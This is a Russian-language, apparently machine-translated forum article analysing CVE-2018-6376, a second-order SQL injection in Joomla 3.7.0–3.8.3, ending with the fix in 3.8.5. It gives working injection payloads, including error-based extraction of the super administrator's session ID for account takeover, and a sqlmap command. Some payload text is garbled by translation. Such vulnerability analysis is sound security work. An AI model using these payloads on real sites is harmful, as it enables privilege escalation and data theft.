Гостевая статья Анализ CVE-2018-6376 - Joomla! SQL-инъекция второго порядка

Что такое SQL-инъекция второго порядка
В SQL-инъекции второго порядка приложение сохраняет предоставленную пользователем информацию до ее выполнения. Пользователь не получит никакой ошибки (или указания SQLi) в ответе этой страницы (на которой ввод вводится). Позже, когда пользователь получает доступ к другой странице или функциональности, где сохраненная информация будет использоваться для создания нового запроса SQL, который будет выполнять введенную ранее полезную нагрузку, это называется инъекцией SQL второго порядка.

Дополнительная информация:

Это звучит немного запутанно, верно? Давайте сделаем это просто на примере внедрения SQL второго порядка в Joomla! рамки [CVE-2018-6376]

подробности
Пострадавшие Joomla! Версия: <= 3.8.3 и> = 3.7.0

Среда для эксплуатации: пользователь с более низкими привилегиями (пользовательская роль « ») может повысить свою привилегию до более высокой пользовательской роли (пользовательская роль « » или « »).

Обнаружение впрыска
Теперь мы создали Joomla! Фреймворк, необходимый для тестирования описанного выше сценария. Здесь мы создали уязвимую Joomla! экземпляр (версия 3.8.3), как показано на рисунке ниже:

2.png

Joomla! версия 3.8.3

Мы создали пользователя 'amish' с привилегиями 'Super Users' и другого пользователя 'savan' с привилегиями 'Manager', как показано ниже:

image003 (2).png

Создать пользователя уровня менеджера

Наша цель - повысить привилегию с роли «Менеджер» до роли «Супер Администратор». Итак, давайте войдем в систему под именем пользователя «savan». Ниже на рисунке показана панель мониторинга для пользователя 'savan', а также показано, что пользователь 'Super User' также вошел в систему одновременно:

image005 (2).png

Пользователь Savan вошел в систему наряду с суперпользователем

Как объясняется в ссылочном блоге, уязвимый экземпляр находится на странице обновления профиля. Ниже на рисунке показана страница обновления профиля для пользователя 'savan':

image007 (2).png

Страница обновления профиля

Перехватим запрос на обновление профиля в инструменте HTTP-прокси . Как показано на рисунке ниже, запрос POST с данными из нескольких частей отправляется на следующий ресурс:

Http: // <IP / домен> /joomla/administrator/index.php?option=com_admin&view=profile&layout=edit&id=645

image009 (2).png

Запрос перехвачен в BurpSuite

Уязвимый параметр - ' forms [params] [admin_style] ', и это выделено на рисунке ниже. Давайте вставим следующую полезную нагрузку (выделено красным шрифтом) в соответствующий параметр, как показано на рисунке ниже:

ЗАГРУЗИТЬ: '(одинарная кавычка)

image011 (2).png

Тест SQLi с использованием одинарных кавычек

При успешной отправке этого запроса на странице обновления профиля отображается информационное сообщение «Товар сохранен», как показано на рисунке ниже:

image013 (2).png

Предметы Сохраненные сообщения

Это не раскрывает никаких сообщений об ошибках, так как эта страница не использует введенную полезную нагрузку для структурирования SQL-запроса и его выполнения. Давайте перейдем к следующему URL-адресу, по которому SQL-запрос создается с введенной полезной нагрузкой и выполняется, как показано на рисунке ниже:

Http: // <IP / домен> /joomla/administrator/index.php

image015 (2).png

Ошибка SQL на другой странице

Давайте подтвердим из исходного кода, что точка вставки полезной нагрузки не уязвима для внедрения SQL. Ниже на рисунке показан фрагмент кода файла '~ / administrator / components / com_admin / controllers / profile.php', в котором указан маршрут для функции «Редактировать профиль»:

image017 (2).png

Редактировать функцию профиля

Когда пользователь обновляет данные профиля, приложение извлекает все параметры и возвращает объект JForm, как показано на рисунке ниже:

image019 (1).png

Получить данные из формы

На рисунке ниже показано, что приложение сохраняет полученную информацию о пользователях в базе данных:

image021.png

Сохранить данные

Поскольку мы подтвердили, что пользовательские вводы не используются для создания SQL-запроса и, следовательно, экземпляр вставки полезной нагрузки не уязвим, давайте попробуем использовать его на уязвимой странице. Как показано на рисунке ниже, давайте вставим следующую строку в качестве полезной нагрузки, чтобы проверить, как наша полезная нагрузка используется для построения SQL-запроса:

PAYLOAD: тест

image023.png

Вставить тестовую полезную нагрузку

Теперь давайте проверим сообщение об ошибке на соответствующей странице панели инструментов. Как показано на рисунке ниже, мы получили только первый символ полезной нагрузки в сообщении об ошибке.

image025.png

Ошибка SQL

Чтобы попробовать дальше, мы добавили еще одну полезную нагрузку ' AND sleep (5); - " и обновили страницу панели инструментов. Как показано на рисунке ниже, в сообщении об ошибке снова отображается только первый символ «A»:

image027.png

Sleep Payload

Если мы проверим базу данных, чтобы убедиться, что вводимые пользователем данные хранятся в базе данных. Как показано на рисунке ниже, база данных имеет всю полезную нагрузку, которую мы внедрили:

image029.png

Полная полезная нагрузка присутствует в базе данных

Поскольку мы подтвердили, что полезная нагрузка сохранена правильно, давайте проверим уязвимый код, чтобы проверить, как он создает запрос SQL. Уязвимый экземпляр находится в файле « administrator / templates / hathor / postinstall / hathormessage.php» . Как показано на рисунке , приведенном ниже, код в номер пользователя сороковых линии магазинов при условии , значение от « admin_style» параметр « adminstyle» переменной. Теперь код в 47-й строке использует пользовательский ввод непосредственно для построения SQL-запроса. Но подождите, здесь это значение рассматривается как массив. Таким образом, индекс 0 сохраненного значения будет использован для построения запроса. Здесь мы получили ответ, почему отражается только первый символ полезной нагрузки.

image031.png

Уязвимый код

Теперь мы знаем, что полезная нагрузка обрабатывается как массив, а индекс 0 будет использоваться в запросе SQL. Итак, давайте попробуем предоставить массив ' [“test1 ″,” test2 ″, ”test3”]' в качестве полезной нагрузки. Затем мы ожидали, что 0-й индекс массива, т. Е.Test1» ) будет использован для структурирования SQL-запроса. Но, как показано на рисунке ниже, приложение отразило « в сообщении об ошибке, что означает, что вся полезная нагрузка снова была обработана как строка.

image033.png

Массив также рассматривается как строка

К сожалению. Так, что дальше? Разве это не эксплуатируемый экземпляр SQL-инъекции?

Idea_Bulb_animated.gif



Нет. Мы предложили изменить имя параметра и предоставить 0-й индекс массива admin_style. Как показано на рисунке ниже, мы изменили имя параметра на « jform [params] [admin_style] [0] » и внедрили ту же полезную нагрузку в 0-й индекс «admin_style»:

ЗАГРУЗИТЬ: И спать (5); -

image037.png

Отправлено первый параметр массива

Теперь приложение отражает нашу полную полезную нагрузку. Однако полезная нагрузка не сработала.

image039.png

Полная полезная нагрузка отражена

Мы снова добавили следующую полезную нагрузку для извлечения имени базы данных, и приложение ответило именем базы данных 'joomla', как показано на рисунке ниже:

Полезная нагрузка: extractvalue (0x0a, concat (0x0a, (выберите базу данных ())))

image041.png

Имя базы данных извлечено

Ура!!! Мы успешно использовали это. Теперь давайте выполним нашу цель - получить доступ к приложению с привилегиями Super Administrator. Следующая полезная нагрузка даст нам идентификатор сеанса пользователя «Супер-Администратор» amish , как показано на рисунке ниже:

Полезная нагрузка: extractvalue (0x0a, concat (0x0a, (выберите * из joomla_session, где username = 'amish')))

image043.png

Извлечение SessionId пользователя Super Admin

Да…. Теперь мы можем использовать этот идентификатор сеанса для олицетворения пользователя Super Administrator.

Автоматизация эксплуатации
Теперь, когда дело доходит до настоящего теста на проникновение, нам также необходимо извлекать информацию. Если мы попытаемся сделать это вручную, это убьет столько времени. Так как же это автоматизировать?

Для этого есть решение. Инструмент предоставляет переключатель ' –second-order ', который требует URL-адрес отражения полезной нагрузки в качестве входных данных, и он будет работать.

Примечание / Ограничение: Поскольку это SQL-инъекция второго порядка, мы не можем автоматизировать несколько потоков для проверки вывода каждого запроса.

Если мы напрямую предоставим этот экземпляр инструменту SQLMap, это может не сработать. Для работы этого процесса нам нужно создать запрос, в котором Sqlmap может внедрить свою полезную нагрузку и может беспрепятственно извлекать данные. Мы создали следующую полезную нагрузку для предоставления в качестве значения параметра ' jform [params] [admin_style] [0] ' в запросе и проанализировали этот запрос с помощью переключателя инструментов SQLMap ' -r ', как показано на рисунке ниже;

PAYLOAD: извлечь значение (0x0a, concat (0x0a, (выберите @@ версию, где 1 = 1 *)))

image045.png

Подготовка запроса для SQLMap

Здесь '*' в полезной нагрузке будет работать как маркер для инструмента SQLMap для внедрения полезных нагрузок, таких как:

  • extractvalue (0x0a, concat (0x0a, (выберите @@ версию, где 1 = 1 И 5231 = 5231 )))
  • extractvalue (0x0a, concat (0x0a, (выберите @@ версию, где 1 = 1 И 5231 = 1623 )))
  • extractvalue (0x0a, concat (0x0a, (выберите @@ версию, где 1 = 1 ИЛИ 7231 = 7231 )))
  • extractvalue (0x0a, concat (0x0a, (выберите @@ версию, где 1 = 1 порядок на 1 - )))
  • extractvalue (0x0a, concat (0x0a, (выберите @@ версию, где 1 = 1 объединение всех, выберите NULL, NULL, NULL, '21231231232 ′ )))
Как показано на рисунке ниже, SQLMap теперь обнаруживает внедрение и извлекает все имена баз данных с помощью следующей команды:

sqlmap -r 1.txt –dbms MySQL - второй порядок «http: // <IP / domain> /joomla/administrator/index.php» -D «joomla» –dbs

image047.png

Извлечение данных через SQLMap

Используя инструмент Sqlmap, мы теперь можем легко извлекать дополнительные данные.

Санация
Чтобы смягчить эту атаку SQL-инъекций, обновите Joomla! Framework до версии 3.8.5 (последняя версия доступна на момент написания этого блога). Мы заметили, что Joomla! исправил этот экземпляр с помощью фрагмента кода, как показано на рисунке ниже:

image049.png

Официальное исправление ошибки

Если у вас есть какие-либо вопросы, пожалуйста, напишите ниже. Мы сделаем все возможное, чтобы ответить на них.

Источник:
 
  • Нравится
Реакции: noted
Годно. Подробно, доходчиво - респект!
Продолжай радовать статьями и дальше!
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!